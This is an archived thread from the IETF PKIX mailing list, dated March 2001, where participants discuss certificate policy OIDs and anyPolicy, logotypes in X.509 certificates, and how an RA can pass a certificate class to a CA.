X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Wed, 21 Mar 2001 15:32:05 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: specific policies used in conjunction with anyPolicy
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Yes, you may assert both anyPolicy and specific certificate policies in the same certificate. This may not be specifically stated, but path processing algorithm (section 6.1.3) does take this possibility into account.

The reason that this is allowed is exactly the one you stated. Originally there was a rule that if anyPolicy were included in the certificatePolicies extension, then no other policy could be included. This rule was removed when the inhibitAnyPolicy extension was developed. In the case you mention, the "strict" applications would set initial-any-policy-inhibit in order to ensure that the path would only be considered valid under policies that had been explicitly listed in each certificate. The more liberal applications would not set initial-any-policy-inhibit and would then (possibly) consider the path to be valid under more policies.

At 01:11 PM 3/21/01 -0600, Carlin Covey wrote:
>The certificate policies extension allows a sequence of policy OIDs.
>One such policy OID is anyPolicy.  I assume that it is permissible in a
>CA cert to include specific policy OIDs in addition to the anyPolicy OID.
>The reason I would want to do this is to support applications that insist
>on finding a specific policy OID, and also support more liberal applications
>that will tolerate the anyPolicy OID.
>
>draft-ietf-pkix-new-part1-05 does not appear to prohibit using specific
>policy OIDs and the anyPolicy OID in the same CA cert.  Is this true?




Received: from sapphire.tenebras.com (dnai-216-15-43-198.cust.dnai.com [216.15.43.198]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA27544 for <[e-mail]>; Wed, 21 Mar 2001 12:28:05 -0800 (PST)
Received: from tenebras.com (localhost [127.0.0.1]) by sapphire.tenebras.com (8.11.1/8.11.1) with ESMTP id f2LKQ2v27765; Wed, 21 Mar 2001 12:26:02 -0800 (PST) (envelope-from [e-mail])
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Wed, 21 Mar 2001 12:26:02 -0800
From: Michael Sierchio <[e-mail]>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Williams <[e-mail]>
CC: "'[e-mail]'" <[e-mail]>, [e-mail], [e-mail], [e-mail], [e-mail]
Subject: Re: specific policies used in conjunction with anyPolicy
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Peter Williams wrote:
> 
> Is it the usual free-for-all where noone knows anything and you just choose
> your own OID?

Are Peter Williams and Peter Gutmann distinct persons?


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA24739 for <[e-mail]>; Wed, 21 Mar 2001 11:55:48 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Wed, 21 Mar 2001 11:55:48 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Wed, 21 Mar 2001 11:55:47 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HKLW00P4>; Wed, 21 Mar 2001 11:49:14 -0800
Content-return: allowed
Date: Wed, 21 Mar 2001 11:49:13 -0800
From: Peter Williams <[e-mail]>
Subject: RE: specific policies used in conjunction with anyPolicy
To: "'[e-mail]'" <[e-mail]>, [e-mail], [e-mail], [e-mail]
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Is it the usual free-for-all where noone knows anything and you just choose
your own OID?

Peter.


Received: from indy.gradient.com ([e-mail] [192.92.110.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA23402 for <[e-mail]>; Wed, 21 Mar 2001 11:31:17 -0800 (PST)
Received: from bigbird.gradient.com (bigbird.gradient.com [192.92.110.50]) by indy.gradient.com (8.9.1a/8.9.1) with ESMTP id OAA06127; Wed, 21 Mar 2001 14:31:11 -0500 (EST)
Received: by bigbird.gradient.com with Internet Mail Service (5.5.2650.10) id <G1NWH7VY>; Wed, 21 Mar 2001 14:28:02 -0500
Message-ID: <[e-mail]>
From: Hal Lockhart <[e-mail]>
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Cc: [e-mail]
Subject: RE: Logotypes in certificates
Date: Wed, 21 Mar 2001 14:26:47 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.10)
Content-Type: text/plain

I'm confused. I thought the proposal was to allow a logotype that
corresponds to the Subject not the Issuer.

Hal

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Thursday, March 22, 2001 12:56 AM
> To: [e-mail]
> Cc: [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> "Tom Gindin" <[e-mail]> writes:
> 
> >Wouldn't Logotypes most easily be implemented as an 
> OTHER-NAME within one of
> >the alternate name fields (probably SubjectAltName)?  If so, 
> how would they
> >affect NameConstraints and the like?  IMHO, they would have 
> little effect on
> >them since logos are not hierarchical names and thus 
> couldn't easily be
> >governed by NameConstraints.
> 
> That sounds like a sensible way to do it, if your cert is 
> issued by (say) VISA
> then they'll put the VISA logo in the issuer's other-name.  I 
> used an other-
> name for the MPEG-of-cat cert I created a few years back and 
> both MSIE/Windows
> and Netscape accepted it (meaning they didn't reject the cert 
> or crash) so it
> looks like a fairly clean way to do it.
> 
> Peter.
> 


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA23047 for <[e-mail]>; Wed, 21 Mar 2001 11:26:33 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id HAA31103; Thu, 22 Mar 2001 07:25:30 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98520273008884>; Thu, 22 Mar 2001 07:25:30 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail]
Subject: Re:  specific policies used in conjunction with anyPolicy
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Thu, 22 Mar 2001 07:25:30 (NZST)
Message-ID: <[e-mail]>

"Carlin Covey" <[e-mail]> writes:

>The certificate policies extension allows a sequence of policy OIDs. One such
>policy OID is anyPolicy.  I assume that it is permissible in a CA cert to
>include specific policy OIDs in addition to the anyPolicy OID. The reason I
>would want to do this is to support applications that insist on finding a
>specific policy OID, and also support more liberal applications that will
>tolerate the anyPolicy OID.

Speaking of policy OIDs, is there any centralised registry which tracks these
anywhere (apart from picking over the standard OID scrap-heap in Norway)?  I'd
like this information for two reasons, firstly so I can add some of the
policies to the dumpasn1 config database, and secondly because there doesn't
seem to be any organised way to notify anyone of policies or OIDs.  Is it the
usual free-for-all where noone knows anything and you just choose your own OID?

Peter.



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA22003 for <[e-mail]>; Wed, 21 Mar 2001 11:11:30 -0800 (PST)
Received: from COVEY (10.108.20.61 [10.108.20.61]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XWM9R; Wed, 21 Mar 2001 11:08:18 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: <[e-mail]>
Subject: specific policies used in conjunction with anyPolicy
Date: Wed, 21 Mar 2001 13:11:10 -0600
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Russ or Tim (or anyone else with an opinion),


The certificate policies extension allows a sequence of policy OIDs.
One such policy OID is anyPolicy.  I assume that it is permissible in a
CA cert to include specific policy OIDs in addition to the anyPolicy OID.
The reason I would want to do this is to support applications that insist
on finding a specific policy OID, and also support more liberal applications
that will tolerate the anyPolicy OID.

draft-ietf-pkix-new-part1-05 does not appear to prohibit using specific
policy OIDs and the anyPolicy OID in the same CA cert.  Is this true?

- Carlin Covey
  Cylink Corporation



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA17762 for <[e-mail]>; Wed, 21 Mar 2001 09:56:24 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA29376; Thu, 22 Mar 2001 05:56:23 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98519738308727>; Thu, 22 Mar 2001 05:56:23 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: RE: Logotypes in certificates
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Thu, 22 Mar 2001 05:56:23 (NZST)
Message-ID: <[e-mail]>

"Tom Gindin" <[e-mail]> writes:

>Wouldn't Logotypes most easily be implemented as an OTHER-NAME within one of
>the alternate name fields (probably SubjectAltName)?  If so, how would they
>affect NameConstraints and the like?  IMHO, they would have little effect on
>them since logos are not hierarchical names and thus couldn't easily be
>governed by NameConstraints.

That sounds like a sensible way to do it, if your cert is issued by (say) VISA
then they'll put the VISA logo in the issuer's other-name.  I used an other-
name for the MPEG-of-cat cert I created a few years back and both MSIE/Windows
and Netscape accepted it (meaning they didn't reject the cert or crash) so it
looks like a fairly clean way to do it.

Peter.



Received: from netscape.com (c3po.netscape.com [205.217.237.46]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA17570 for <[e-mail]>; Wed, 21 Mar 2001 09:55:49 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id f2LHtqf25570 for <[e-mail]>; Wed, 21 Mar 2001 09:55:52 -0800 (PST)
Received: from netscape.com ([205.217.229.61]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id GAK75501.B2C; Wed, 21 Mar 2001 09:55:53 -0800 
Message-ID: <[e-mail]>
Date: Wed, 21 Mar 2001 09:55:48 -0800
From: [e-mail] (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: Ambarish Malpani <[e-mail]>
CC: "'Stephen Kent'" <[e-mail]>, Dean Povey <[e-mail]>, [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Ambarish,

I think that Steve is after a technical method to restrict the types of 
certificates that a subordinate CA can issue.  You can, as you point 
out, use legal methods and auditing to do this, but in some cases it may 
be better to have a technical solution that makes incorrect certificates 
invalid, or not useful.

Name constraints is one such technical means.  Using it we can restrict 
the names in certificates to a particular DN subset, or to a particular 
DNS domain.  It won't help with the case you give, but it does allow 
delegation of authority to a CA for valicert.com or netscape.com (for 
example!)

One possible technical solution for logtypes is the certificate policies 
extension.  By defining application level processing to require a 
certain certificate policy in the certificate (or one of a set of 
policies), the application can be confident that the trust point (root 
CA) has granted authority to include logotypes in the certificate.  
certificate policies has the correct hierarchical structure and 
processing rules to enforce this.

Terry

Ambarish Malpani wrote:

> Steve,
>     This is the same argument as a CA issuing a cert to a
> subordinate, who issues incorrect certificates with it - e.g.
> issues a certificate for the domain www.amazon.com to say BN.
> 
> Either a CA controls/audits subordinate CAs, or has enough
> reason to trust them, or the value of that hierarchy is
> pretty useless.
> 
> I don't think logos in certificates affect this either way.
> 
> Regards,
> Ambarish
> 
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [e-mail]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
> 
> 
>> -----Original Message-----
>> From: Stephen Kent [mailto:[e-mail]]
>> Sent: Tuesday, March 20, 2001 8:57 PM
>> To: Dean Povey
>> Cc: [e-mail]
>> Subject: Re: Logotypes in certificates
>> 
>> 
>> Dean and Stefan,
>> 
>> As a security kinda' guy, I always approach this from the "what will 
>> the bad giy do" perspective.  From that perspective, I worry that a 
>> TTP CA will cerfity company X, putting the company X logo in the 
>> cert. Then company X will issue a cert to a subordinate CA, and put 
>> in that cert an inappropriate logo. It is not realistic for an app to 
>> display a chain of logos, and expect a user to pay attention, any 
>> more that if one displayed a chain of DNs.  I still maintain that we 
>> can agree on what would be a reasonable set of circumstances in which 
>> the logo extension would be useful and safe, but I don't see a 
>> technical means of enforcing these circumstances without changes to 
>> the path validation algorithm. I am open to suggestions that provide 
>> the necessary controls and don't have this unfortunate side effect, 
>> but I have yet to see an example of such.
>> 
>> Steve
>> 



Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA17292 for <[e-mail]>; Wed, 21 Mar 2001 09:53:59 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id EAA03833 for <[e-mail]>; Thu, 22 Mar 2001 04:03:34 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Thu, 22 Mar 2001 04:54:27 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HAVTGMZJ>; Thu, 22 Mar 2001 04:51:49 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: "'Ambarish Malpani'" <[e-mail]>, "'Stephen Kent'" <[e-mail]>, Dean Povey <[e-mail]>
Cc: [e-mail]
Subject: RE: Logotypes in certificates
Date: Thu, 22 Mar 2001 04:51:46 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Though I don't favor including logotype or reference to a logotype to a
cert, considering it as a pure marketing trick (sorry, Stefan :), but my
realisation was that a logotype is by no means related to the establishment
of trust. It is 100% meant for a human eye only, and verification algorithm
should simply ignore it, as it ingores any other proprietory extentions. If
the verification comes up with an answer 'not validated', and the software
prompts a user saying 'couldn't validate', and the user still makes a
decision to trust the cert, it is an application's problem, which already
exists now, and logotypes add no extra pitch to it.

As an extreme, if a CA considers logotypes to be anyhow harmful, it simply
won't have a logotype in its own cert, and refuse certification of
logotypes.

Michael
-----Original Message-----
From: Ambarish Malpani [mailto:[e-mail]]
Sent: Thursday, March 22, 2001 4:07 AM
To: 'Stephen Kent'; Dean Povey
Cc: [e-mail]
Subject: RE: Logotypes in certificates



Steve,
    This is the same argument as a CA issuing a cert to a
subordinate, who issues incorrect certificates with it - e.g.
issues a certificate for the domain www.amazon.com to say BN.

Either a CA controls/audits subordinate CAs, or has enough
reason to trust them, or the value of that hierarchy is
pretty useless.

I don't think logos in certificates affect this either way.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Tuesday, March 20, 2001 8:57 PM
> To: Dean Povey
> Cc: [e-mail]
> Subject: Re: Logotypes in certificates
> 
> 
> Dean and Stefan,
> 
> As a security kinda' guy, I always approach this from the "what will 
> the bad giy do" perspective.  From that perspective, I worry that a 
> TTP CA will cerfity company X, putting the company X logo in the 
> cert. Then company X will issue a cert to a subordinate CA, and put 
> in that cert an inappropriate logo. It is not realistic for an app to 
> display a chain of logos, and expect a user to pay attention, any 
> more that if one displayed a chain of DNs.  I still maintain that we 
> can agree on what would be a reasonable set of circumstances in which 
> the logo extension would be useful and safe, but I don't see a 
> technical means of enforcing these circumstances without changes to 
> the path validation algorithm. I am open to suggestions that provide 
> the necessary controls and don't have this unfortunate side effect, 
> but I have yet to see an example of such.
> 
> Steve
> 


This footnote confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.


-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.


Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA16904 for <[e-mail]>; Wed, 21 Mar 2001 09:48:07 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA89528; Wed, 21 Mar 2001 12:46:52 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id MAA25124; Wed, 21 Mar 2001 12:43:49 -0500
Importance: Normal
Subject: RE: Logotypes in certificates
To: Ambarish Malpani <[e-mail]>
Cc: "'Stephen Kent'" <[e-mail]>, Dean Povey <[e-mail]>, [e-mail]
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <[e-mail]>
From: "Tom Gindin" <[e-mail]>
Date: Wed, 21 Mar 2001 12:47:14 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Release 5.0.6a |January 17, 2001) at 03/21/2001 12:48:08 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

     Wouldn't Logotypes most easily be implemented as an OTHER-NAME within
one of the alternate name fields (probably SubjectAltName)?  If so, how
would they affect NameConstraints and the like?  IMHO, they would have
little effect on them since logos are not hierarchical names and thus
couldn't easily be governed by NameConstraints.
     Since they are naming (or at least identifying) information about the
subject or issuer, I don't see why they should be in a different extension.
IMO, the standard way of displaying these should be to display the logo
along with the text of the highest-precedence ID for that entity anyway.
Binding them together in the same extension would encourage that.

          Tom Gindin


Ambarish Malpani <[e-mail]> on 03/21/2001 12:06:35 PM

To:   "'Stephen Kent'" <[e-mail]>, Dean Povey <[e-mail]>
cc:   [e-mail]
Subject:  RE: Logotypes in certificates




Steve,
    This is the same argument as a CA issuing a cert to a
subordinate, who issues incorrect certificates with it - e.g.
issues a certificate for the domain www.amazon.com to say BN.

Either a CA controls/audits subordinate CAs, or has enough
reason to trust them, or the value of that hierarchy is
pretty useless.

I don't think logos in certificates affect this either way.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Tuesday, March 20, 2001 8:57 PM
> To: Dean Povey
> Cc: [e-mail]
> Subject: Re: Logotypes in certificates
>
>
> Dean and Stefan,
>
> As a security kinda' guy, I always approach this from the "what will
> the bad giy do" perspective.  From that perspective, I worry that a
> TTP CA will cerfity company X, putting the company X logo in the
> cert. Then company X will issue a cert to a subordinate CA, and put
> in that cert an inappropriate logo. It is not realistic for an app to
> display a chain of logos, and expect a user to pay attention, any
> more that if one displayed a chain of DNs.  I still maintain that we
> can agree on what would be a reasonable set of circumstances in which
> the logo extension would be useful and safe, but I don't see a
> technical means of enforcing these circumstances without changes to
> the path validation algorithm. I am open to suggestions that provide
> the necessary controls and don't have this unfortunate side effect,
> but I have yet to see an example of such.
>
> Steve
>





Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA15604 for <[e-mail]>; Wed, 21 Mar 2001 09:14:14 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Wed, 21 Mar 2001 09:13:08 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Wed, 21 Mar 2001 09:13:08 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HKLW09NM>; Wed, 21 Mar 2001 09:06:35 -0800
Content-return: allowed
Date: Wed, 21 Mar 2001 09:06:35 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Logotypes in certificates
To: "'Stephen Kent'" <[e-mail]>, Dean Povey <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Steve,
    This is the same argument as a CA issuing a cert to a
subordinate, who issues incorrect certificates with it - e.g.
issues a certificate for the domain www.amazon.com to say BN.

Either a CA controls/audits subordinate CAs, or has enough
reason to trust them, or the value of that hierarchy is
pretty useless.

I don't think logos in certificates affect this either way.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Tuesday, March 20, 2001 8:57 PM
> To: Dean Povey
> Cc: [e-mail]
> Subject: Re: Logotypes in certificates
> 
> 
> Dean and Stefan,
> 
> As a security kinda' guy, I always approach this from the "what will 
> the bad giy do" perspective.  From that perspective, I worry that a 
> TTP CA will cerfity company X, putting the company X logo in the 
> cert. Then company X will issue a cert to a subordinate CA, and put 
> in that cert an inappropriate logo. It is not realistic for an app to 
> display a chain of logos, and expect a user to pay attention, any 
> more that if one displayed a chain of DNs.  I still maintain that we 
> can agree on what would be a reasonable set of circumstances in which 
> the logo extension would be useful and safe, but I don't see a 
> technical means of enforcing these circumstances without changes to 
> the path validation algorithm. I am open to suggestions that provide 
> the necessary controls and don't have this unfortunate side effect, 
> but I have yet to see an example of such.
> 
> Steve
> 


Received: from netscape.com (r2d2.netscape.com [205.217.237.47]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA14511 for <[e-mail]>; Wed, 21 Mar 2001 08:45:30 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id f2LGjV929446 for <[e-mail]>; Wed, 21 Mar 2001 08:45:31 -0800 (PST)
Received: from netscape.com ([205.217.229.61]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id GAK3VV00.X19; Wed, 21 Mar 2001 08:45:31 -0800 
Message-ID: <[e-mail]>
Date: Wed, 21 Mar 2001 08:45:26 -0800
From: [e-mail] (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: Carlisle Adams <[e-mail]>
CC: "'vivek saraf'" <[e-mail]>, [e-mail]
Subject: Re: How to send class info from RA to CA
References: <[e-mail]>
Content-Type: multipart/alternative; boundary="------------050505060604090700090909"

--------------050505060604090700090909
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

As Carlisle has indicated, the certificate template field can include 
data that will indicate the "class" of the request.  A prime candidate 
for this purpose is the certificatePolices extension.  The policy (or 
policies) included in this field should be a good indicator of the type 
of certificate desired.

Terry

Carlisle Adams wrote:

> Hi Vivek,
> 
>       ----------
>       From:   vivek saraf[SMTP:[e-mail]]
>       Sent:   Wednesday, March 21, 2001 5:08 AM
>       To:     [e-mail]
>       Subject:        How to send class info from RA to CA
>       
>       Hello,
>       
>          I have a CA running which issues multiple classes
>       of certifiactes. Now when RA requests a certifiacte
>       for a user, the RA should specify the class for which
>       it is requesting, but in the PKI message i don't find
>       any field for sending the class information.
>       
>       I have Free text in the PKI Header, if i use this it
>       will not be inter operable.
>       
>       Can any body help me
>       
>  
> How does the issued certificate indicate what class it is?  Is it by 
> some extension, or is it by an indicator somehow embedded in the name 
> of the subject or the issuer?  Whatever mechanism you choose to use, 
> all you have to do is use the same mechanism in the certTemplate in 
> the request message from the RA to the CA.  This is why the 
> certTemplate exists; it allows the requester to specify to the CA 
> exactly the cert contents that are important to them.
> 
> Carlisle.
> 


--------------050505060604090700090909
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><head></head><body>As Carlisle has indicated, the certificate template
field can include data that will indicate the "class" of the request.&nbsp; A
prime candidate for this purpose is the certificatePolices extension.&nbsp; The
policy (or policies) included in this field should be a good indicator of
the type of certificate desired.<br>
<br>
Terry<br>
<br>
Carlisle Adams wrote:<br>
<blockquote type="cite" cite="mid:[e-mail]">
  <p><font color="#0000ff" size="2" face="Times New Roman">Hi Vivek,</font></p>
  <ul>
<p><font size="2" face="MS Sans Serif">----------</font><br><b><font size="2" face="MS Sans Serif">From:</font></b> &nbsp; <font size="2" face="MS Sans Serif">vivek saraf[<a class="moz-txt-link-abbreviated" href="mailto:SMTP:[e-mail]">SMTP:[e-mail]</a>]</font><br><b><font size="2" face="MS Sans Serif">Sent:</font></b> &nbsp; <font size="2" face="MS Sans Serif">Wednesday, March 21, 2001 5:08 AM</font><br><b><font size="2" face="MS Sans Serif">To:</font></b> &nbsp;&nbsp;&nbsp; <font size="2" face="MS Sans Serif"><a class="moz-txt-link-abbreviated" href="mailto:[e-mail]">[e-mail]</a></font><br><b><font size="2" face="MS Sans Serif">Subject:</font></b> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font size="2" face="MS Sans Serif">How to send class info from RA to CA</font></p><p><font size="2" face="Arial">Hello,</font></p><p><font size="2" face="Arial">&nbsp;&nbsp; I have a CA running which issues multiple classes</font><br><font si!
ze="2" face="Arial">of certifiactes. Now when RA requests a certifiacte</font><br><font size="2" face="Arial">for a user, the RA should specify the class for which</font><br><font size="2" face="Arial">it is requesting, but in the PKI message i don't find</font><br><font size="2" face="Arial">any field for sending the class information.</font></p><p><font size="2" face="Arial">I have Free text in the PKI Header, if i use this it</font><br><font size="2" face="Arial">will not be inter operable.</font></p><p><font size="2" face="Arial">Can any body help me</font></p>
  </ul>
  <p><font color="#0000ff" size="2" face="Times New Roman">&nbsp;</font><br><font color="#0000ff" size="2" face="Times New Roman">
How does the issued certificate indicate what class it is?&nbsp; Is it by some
extension, or is it by an indicator somehow embedded in the name of the subject
or the issuer?&nbsp; Whatever mechanism you choose to use, all you have to do
is use the same mechanism in the certTemplate in the request message from
the RA to the CA.&nbsp; This is why the certTemplate exists; it allows the requester
to specify to the CA exactly the cert contents that are important to them.</font></p>
  <p><font color="#0000ff" size="2" face="Times New Roman">Carlisle.</font></p>
  </blockquote>
  <br>
</body></html>
--------------050505060604090700090909--



Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA13287 for <[e-mail]>; Wed, 21 Mar 2001 08:29:22 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <G9HSWM41>; Wed, 21 Mar 2001 11:28:53 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: "'vivek saraf'" <[e-mail]>
Cc: [e-mail]
Subject: RE: How to send class info from RA to CA
Date: Wed, 21 Mar 2001 11:25:14 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B223.82465220"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B223.82465220
Content-Type: text/plain

Hi Vivek,

> ----------
> From: 	vivek saraf[SMTP:[e-mail]]
> Sent: 	Wednesday, March 21, 2001 5:08 AM
> To: 	[e-mail]
> Subject: 	How to send class info from RA to CA
> 
> Hello,
> 
>    I have a CA running which issues multiple classes
> of certifiactes. Now when RA requests a certifiacte
> for a user, the RA should specify the class for which
> it is requesting, but in the PKI message i don't find
> any field for sending the class information.
> 
> I have Free text in the PKI Header, if i use this it
> will not be inter operable.
> 
> Can any body help me
 
How does the issued certificate indicate what class it is?  Is it by some
extension, or is it by an indicator somehow embedded in the name of the
subject or the issuer?  Whatever mechanism you choose to use, all you have
to do is use the same mechanism in the certTemplate in the request message
from the RA to the CA.  This is why the certTemplate exists; it allows the
requester to specify to the CA exactly the cert contents that are important
to them.

Carlisle.


------_=_NextPart_001_01C0B223.82465220
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: How to send class info from RA to CA</TITLE>
</HEAD>
<BODY>

